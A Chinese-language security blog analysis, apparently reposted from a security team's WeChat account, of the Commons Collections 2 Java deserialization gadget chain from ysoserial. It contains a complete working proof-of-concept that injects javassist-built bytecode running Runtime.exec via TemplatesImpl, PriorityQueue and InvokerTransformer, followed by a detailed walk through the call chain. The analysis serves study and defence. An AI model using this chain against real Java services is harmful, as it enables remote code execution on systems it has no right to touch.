环境搭建
利用ysoserial源码搭建
javassist
这个反序列化利用链的分析需要先了解一个基础知识:javassist
。
javassist是一个用来处理java字节码的类库,可以用它生成一个类,并可以对类的字段、方法、构造方法,初始化代码块等进行修改。
举例:
package ysoserial.javassist;
import javassist.*;
import java.lang.reflect.Method;
public class TestJavassist {
public static void createStudent() throws Exception {
// 获取默认ClassPool
ClassPool pool = ClassPool.getDefault();
// 创建一个空类
CtClass cc = pool.makeClass("ysoserial.javassist.Student");
// 添加name字段
CtField param = new CtField(pool.get("java.lang.String"), "name", cc);
// 设置name字段访问权限为private
param.setModifiers(Modifier.PRIVATE);
// name字段添加初始值xiaoming
cc.addField(param, CtField.Initializer.constant("xiaoming"));
// 生成 getter、setter 方法
cc.addMethod(CtNewMethod.setter("setName", param));
cc.addMethod(CtNewMethod.getter("getName", param));
// 添加无参的构造函数
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
cons.setBody("{name = "xiaohong";}");
cc.addConstructor(cons);
//添加有参的构造函数
cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);
// $0=this / $1,$2,$3... 代表方法参数
cons.setBody("{$0.name = $1;}");
cc.addConstructor(cons);
// 创建一个名为printName方法,无参数,无返回值,输出name值
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
ctMethod.setModifiers(Modifier.PUBLIC);
ctMethod.setBody("{System.out.println(name);}");
cc.addMethod(ctMethod);
Class cla = cc.toClass();
Object student = cla.newInstance();
student.getClass();
// Object student = cc.toClass().newInstance();
Method setName = student.getClass().getMethod("setName", String.class);
setName.invoke(student, "");
// 输出值
Method execute = student.getClass().getMethod("printName");
execute.invoke(student);
}
public static void main(String[] args) {
try {
createStudent();
} catch (Exception e) {
e.printStackTrace();
}
}
}
poc
package ysoserial.payloads;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Common_CC2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault(); //返回默认的classpool
classPool.appendClassPath(AbstractTranslet); //添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//創建一個新的public類
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");"); //创建类的初始化代码块,在代码块里执行命令
// payload.writeFile("E:/ysoserial-master/src/main/java/");
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射創建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});//將templatesImpl上的_bytecodes字段設置為runtime的byte數組
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射獲取templatesImpl的_name字段
field1.setAccessible(true);
field1.set(templatesImpl,"test");//將templatesImpl上的_name字段設置為test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修飾器傳入transformer對象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量創建一個 PriorityQueue,並根據其自然順序對元素進行排序。
queue.add(1);//添加數字1插入此優先級隊列
queue.add(1);//添加數字1插入此優先級隊列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);
field2.set(queue,comparator);//設置queue的comparator字段值為comparator
Field field3=queue.getClass().getDeclaredField("queue");//獲取queue的queue字段
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//設置queue的queue字段內容Object數組,內容為templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
漏洞触发点
这个利用链的触发点也是在InvokerTransformer#transform
方法的反射代码上
上图标记的代码其实就是反射调用input
的this.iMrthodName
方法,可以写成如下形式:
input.getClass().getMethod(this.iMethodName, this.iParamTypes).invoke(input, this.iArgs)
iMethodName
,iParamTypes
,iArgs
成原变量会在InvokerTransformer
类的构造方法中赋值。
总思路如下,分为2大步:
1.找到一条链让我们可以利用这段反射代码反射调用我们期望的某个类的某个方法,方便下文理解,这一步叫做控制反射.
2.反射调用的那个方法中,可以执行恶意操作,这一步叫做执行命令。
利用链分析
控制反射利用链
在InvokerTransformer#transform
方法中打断点,利用poc调试一下,看到调用栈如下:
根据调用栈可以看到Priority#readobject
会调用heapify()
方法。
heapify()
方法会调用循环调用siftDown
方法,第一次调用传入的第二个参数是queue
这个数组的第一个元素
siftDown
方法中,如果comparator
不为空才会调用siftDownUsingComparator
方法,所以poc中才会反射获取comparator
成员变量,并赋值(也就是传入比较器)
在siftDownUsingComparator
方法中,会获取queue
成员变量的第二个元素,然后调用比较器(comparator成员变量)的compare
方法对queue
中的两个元素进行比较。
所以要调用到TransformingComparator#compare
方法中,必须PriorityQueue
的comparator
成员变量为TransformingComparator
的对象,因此poc中通过反射为comparator
成员变量赋值。
在TransformingComparator#compare
方法中,如果TransformingComparator
对象的transformer
成员变量是一个invokerTransformer
的对象,那么,就会调用InvokerTransformer#transform
我们可以利用TransformingComparator
构造方法中对成员变量transformer
赋值
总结一下控制反射步骤如下:
-
1.新建一个容量为2的
PriorityQueue
对象(优先级队列) -
2.为
PriorityQueue
对象的queue
和comparator
成员变量赋值,queue是一个Object的数组 -
3.
PriorityQueue
对象反序列化过程中会调用heapify
方法,导致会对queue
中的两个元素进行比较,因为comparator
不为空,所以会在siftDownUsingComparator
方法中调用comparator的compare
方法。poc中使用反射为comparator赋值。 -
4.当
compatator
是一个TransformingComparator
的对象时就会调用该对象的compare方法。 -
5.当
TransformingComparator
对象的transformer
成员变量是一个InvokerTransformer
对象时就会调用到漏洞InvokerTransformer.transform(obj1)
进行反射调用,obj1就是queue数组的第一个元素。poc中通过TransformingComparator
的构造方法对transformer
成员变量进行赋值。 -
6.
InvokerTransformer#transform
会根据中会反射调用obj1
的iMethodName方法,参数列表是iArgs。poc中iMethodName、iArgs在InvokerTransformer的构造方法中赋值。obj1、iMethodName、iArgs都是可以控制的
命令执行利用链
接下来再看一下是反射之后的调用栈:
根据调用栈可以看到Invokertransformer#transform
方法中反射调用了Templatesimpl#newTransformer
方法。
newTransformer
方法中调用了getTransletInstance()
方法
getTransletInstance()
方法中newinstance
方法创建实例后就执行了命令,所以_class[_transletIndex]
一定是一个和AbstractTranslet
类有继承关系的类的Class对象。
我们看一下_class
赋值的地方,当_name不为空且_class为空(所以poc设置了_name),才会调用defineTransletClasses()
方法。
defineTransletClasses()
方法中,会通过类加载器的defineClass
方法将字节流还原成一个Class对象。
可以看到defineTransletClasses()
后的到_class[_transletIndex]
是poc中创建的CommonsCollections22222222222类的Class对象,newinstace
创建实例时会执行该类静态代码块,所以导致了命令执行。
总结一下,分为4个步骤:
-
利用
InvokerTransformer#transform
中的反射代码反射调用Templatesimpl
类的newTransformer
方法,所以queue[0]是一个Templatesimpl
对象,iMethodName是newTransformer
-
Templatesimpl#newTransformer
中调用Templatesimpl#getTransletInstance
-
getTransletInstance方法中先将Templatesimpl的成员变量
_bytecode
(CommonsCollections22222222222的字节码)还原出一个Class对象。 -
然后还是在通过
newinstance()
方法创建了一个CommonsCollections22222222222
实例,创建实例会执行该类的初始化代码块,所以导致了命令执行。
poc中使用javasisist创建了一个AbstractTranslet
的子类CommonsCollections22222222222
,并为该类添加静态初始化代码块(命令执行的payload就在这里),然后将该类转换为字节码,并赋值给Templatesimpl
对象的_bytecodes
CommonsCollections22222222222类如下所示
思考
1.poc中新建了PriorityQueue
对象后,为什么要add两次?
要搞清楚这个问题首先要明白在PriorityQueue
类中的size
属性代表什么?
new Prioricity对象传入的数字2代表优先级对列的容量是2,而size代表的是已经传入了几个元素,可以看一下add一次和add两次的区别
再看一下add的时候都做了什么,add中会调offer,每插入一个元素的时候会size会加1,所以反射去修改queue是只添加进去元素,并不会改变size。
只add一次时。在反序列化过程中调用heapify方法时会由于size为1,不满足条件直接退出,所以无法触发漏洞。
2.PriorityQueue
的queue
成员变量,标注了transient
为什么还可以序列化。
调试发现在自定义的序列化方法中,会遍历queue
中添加进去的每一个元素进行序列化。
自定义的反序列化方法中,会将queu数组中序列化好的每一个元素还原
这样做的好处在于节省时间和存储资源。如果PriorityQueue
对象的容量为20,但是现在只添加了2个元素在queue
数组中,其他的都为null
。如果使用默认的序列化,数组的20个元素都会被序列化,这就浪费了时间和存储资源,所以对其使用自定义的序列化,只序列化那两个有效值。
参考链接
(https://github.com/frohoff/ysoserial)
javassist使用全解析
Java安全之Commons Collections2分析
原文始发于微信公众号(雁行安全团队):commons-collections反序列化利用链分析(2)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论